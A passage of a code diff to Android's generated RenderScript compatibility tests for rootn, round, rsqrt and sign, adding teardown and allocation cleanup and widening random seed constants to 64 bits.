             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.java
index 7bb77a5..16d9d68 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRootn.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestRootnRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatIntFloat {
         public float inV;
         public int inN;
@@ -44,13 +51,14 @@
     }
 
     private void checkRootnFloatIntFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4daae0ccl, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x4daae0c4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x37d0d9514daae0ccl, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x37d0d9514daae0c4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testRootnFloatIntFloat(inV, out);
             verifyResultsRootnFloatIntFloat(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloatIntFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testRootnFloatIntFloat(inV, out);
             verifyResultsRootnFloatIntFloat(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloatIntFloat: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsRootnFloatIntFloat(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkRootnFloat2Int2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xcb32d88el, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xcb32d886l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2a7a849dcb32d88el, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x2a7a849dcb32d886l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testRootnFloat2Int2Float2(inV, out);
             verifyResultsRootnFloat2Int2Float2(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloat2Int2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testRootnFloat2Int2Float2(inV, out);
             verifyResultsRootnFloat2Int2Float2(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloat2Int2Float2: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsRootnFloat2Int2Float2(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkRootnFloat3Int3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc0e54547l, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xc0e5453fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5030c300c0e54547l, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x5030c300c0e5453fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testRootnFloat3Int3Float3(inV, out);
             verifyResultsRootnFloat3Int3Float3(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloat3Int3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testRootnFloat3Int3Float3(inV, out);
             verifyResultsRootnFloat3Int3Float3(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloat3Int3Float3: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsRootnFloat3Int3Float3(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkRootnFloat4Int4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb697b200l, false);
-        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xb697b1f8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x75e70163b697b200l, false);
+        Allocation inN = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x75e70163b697b1f8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInN(inN);
             script.forEach_testRootnFloat4Int4Float4(inV, out);
             verifyResultsRootnFloat4Int4Float4(inV, inN, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloat4Int4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInN(inN);
             scriptRelaxed.forEach_testRootnFloat4Int4Float4(inV, out);
             verifyResultsRootnFloat4Int4Float4(inV, inN, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRootnFloat4Int4Float4: " + e.toString());
         }
+        inV.destroy();
+        inN.destroy();
     }
 
     private void verifyResultsRootnFloat4Int4Float4(Allocation inV, Allocation inN, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.java
index c13b7c0..63b7ba6 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRound.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestRoundRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkRoundFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3f4006c3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x51f05c443f4006c3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testRoundFloatFloat(inV, out);
             verifyResultsRoundFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRoundFloatFloat(inV, out);
             verifyResultsRoundFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkRoundFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x99eb174fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd0e51e3399eb174fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testRoundFloat2Float2(inV, out);
             verifyResultsRoundFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRoundFloat2Float2(inV, out);
             verifyResultsRoundFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkRoundFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9006382dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd0e6e74e9006382dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testRoundFloat3Float3(inV, out);
             verifyResultsRoundFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRoundFloat3Float3(inV, out);
             verifyResultsRoundFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkRoundFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8621590bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd0e8b0698621590bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testRoundFloat4Float4(inV, out);
             verifyResultsRoundFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRoundFloat4Float4(inV, out);
             verifyResultsRoundFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkRoundHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe9b639c5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7ed6175ce9b639c5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testRoundHalfHalf(inV, out);
             verifyResultsRoundHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRoundHalfHalf(inV, out);
             verifyResultsRoundHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkRoundHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xac5e4dffl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x184dcdf7ac5e4dffl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testRoundHalf2Half2(inV, out);
             verifyResultsRoundHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRoundHalf2Half2(inV, out);
             verifyResultsRoundHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkRoundHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb6612f3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x184dd8990b6612f3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testRoundHalf3Half3(inV, out);
             verifyResultsRoundHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRoundHalf3Half3(inV, out);
             verifyResultsRoundHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkRoundHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6a6dd7e7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x184de33a6a6dd7e7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testRoundHalf4Half4(inV, out);
             verifyResultsRoundHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRoundHalf4Half4(inV, out);
             verifyResultsRoundHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRoundHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRoundHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.java
index 118df96..35e0793 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRsqrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestRsqrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkRsqrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xaa3f3b8fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x637c4873aa3f3b8fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testRsqrtFloatFloat(inV, out);
             verifyResultsRsqrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtFloatFloat(inV, out);
             verifyResultsRsqrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkRsqrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x672f6cbbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8c8200af672f6cbbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testRsqrtFloat2Float2(inV, out);
             verifyResultsRsqrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtFloat2Float2(inV, out);
             verifyResultsRsqrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkRsqrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5d4a8d99l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8c83c9ca5d4a8d99l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testRsqrtFloat3Float3(inV, out);
             verifyResultsRsqrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtFloat3Float3(inV, out);
             verifyResultsRsqrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkRsqrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5365ae77l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8c8592e55365ae77l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testRsqrtFloat4Float4(inV, out);
             verifyResultsRsqrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtFloat4Float4(inV, out);
             verifyResultsRsqrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkRsqrtHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8234e8f1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb5cfcc4f8234e8f1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testRsqrtHalfHalf(inV, out);
             verifyResultsRsqrtHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtHalfHalf(inV, out);
             verifyResultsRsqrtHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkRsqrtHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x175d82cbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x29d9ba27175d82cbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testRsqrtHalf2Half2(inV, out);
             verifyResultsRsqrtHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtHalf2Half2(inV, out);
             verifyResultsRsqrtHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkRsqrtHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x766547bfl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x29d9c4c8766547bfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testRsqrtHalf3Half3(inV, out);
             verifyResultsRsqrtHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtHalf3Half3(inV, out);
             verifyResultsRsqrtHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkRsqrtHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd56d0cb3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x29d9cf69d56d0cb3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testRsqrtHalf4Half4(inV, out);
             verifyResultsRsqrtHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRsqrtHalf4Half4(inV, out);
             verifyResultsRsqrtHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRsqrtHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRsqrtHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.java
index ae4ce6a..a932baa 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSign.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestSignRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkSignFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x364ea474l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xadc8bc2f364ea474l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testSignFloatFloat(inV, out);
             verifyResultsSignFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSignFloatFloat(inV, out);
             verifyResultsSignFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkSignFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x27c0ab8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2eb1e646027c0ab8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testSignFloat2Float2(inV, out);
             verifyResultsSignFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSignFloat2Float2(inV, out);
             verifyResultsSignFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
